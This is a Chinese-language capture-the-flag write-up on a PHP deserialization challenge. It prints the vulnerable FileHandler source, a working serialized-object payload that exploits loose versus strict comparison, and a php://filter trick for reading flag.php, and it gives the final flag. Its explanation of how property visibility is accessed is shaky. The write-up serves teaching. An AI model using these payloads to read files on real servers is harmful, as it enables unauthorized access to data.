题目分析

题目概述

本题是一道典型的 PHP 反序列化漏洞题目,主要考察对 PHP 反序列化机制和比较运算符的理解。

关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
include("flag.php");
highlight_file(__FILE__);

class FileHandler {
protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
}

function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
?>

漏洞分析

核心漏洞:比较运算符不一致

这是本题的关键漏洞!代码中存在比较运算符不一致的问题:

  1. __destruct() 使用严格比较$this->op === "2"
  2. process() 使用非严格比较$this->op == "2"

漏洞原理

在 PHP 中:

  • 严格比较 ===:要求值和类型都相同
  • 非严格比较 ==:只要求值相同,会进行类型转换
比较表达式 结果 原因
2 === "2" false 类型不同(整数 vs 字符串)
2 == "2" true 值相同(都会转换为数字2)

利用思路

需要构造一个反序列化 payload,使得:

  1. __destruct()$this->op === "2" 返回 false(不修改 op 值)
  2. process()$this->op == "2" 返回 true(执行 read 方法)

Payload 构造

方法一:使用整数类型的 op

1
O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}

解释

  • O:11:"FileHandler":反序列化为 FileHandler 对象
  • s:2:"op";i:2:设置 op 为整数 2(不是字符串 “2”)
  • s:8:"filename";s:8:"flag.php":设置要读取的文件为 flag.php

方法二:使用公共属性覆盖(无需前缀)

由于代码直接访问 $this->op,我们可以使用公共属性名称,不需要 %00*%00 前缀:

1
2
3
// 类中定义的是 protected $op
// 但我们可以直接使用 "op" 创建公共属性
O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}

原理:当反序列化时创建公共属性 $op,PHP 会优先访问公共属性。

完整利用过程

1. 发送 Payload

1
?str=O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}

2. 执行流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
反序列化 → 对象创建 → __destruct() 调用

$this->op = 2 (整数)

$this->op === "2" → false (严格比较失败)

$this->content = ""

process() 调用

$this->op == "2" → true (非严格比较成功)

read() 执行,读取 flag.php

output() 输出文件内容

3. 获取 Flag

执行后并没有显示 flag 内容,说明文件没有直接输出flag,而是把flag设置在变量里
可以把payload中的filename改为php://filter/convert.base64-encode/resource=flag.php,获得文件的base64编码

666

然后解码得到flag

666

技术要点总结

1. PHP 反序列化属性访问优先级

属性类型 访问优先级 序列化格式
公共属性 最高 属性名
protected 次之 \x00*\x00属性名
private 最低 \x00类名\x00属性名

2. 比较运算符差异

1
2
3
4
5
// 严格比较(类型+值)
$a === $b

// 非严格比较(仅值)
$a == $b

3. is_valid 函数绕过

1
2
3
4
5
6
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

该函数只检查可打印 ASCII 字符(32-125),我的 payload 完全由可打印字符组成,因此可以顺利通过检查。

Flag

1
flag{feff0449-1519-4e96-a316-c09b469eb5d6}

总结

本题的核心在于比较运算符不一致导致的漏洞。通过巧妙构造反序列化 payload,利用整数和字符串的弱比较特性,成功绕过了 __destruct() 的限制,最终读取了 flag 文件。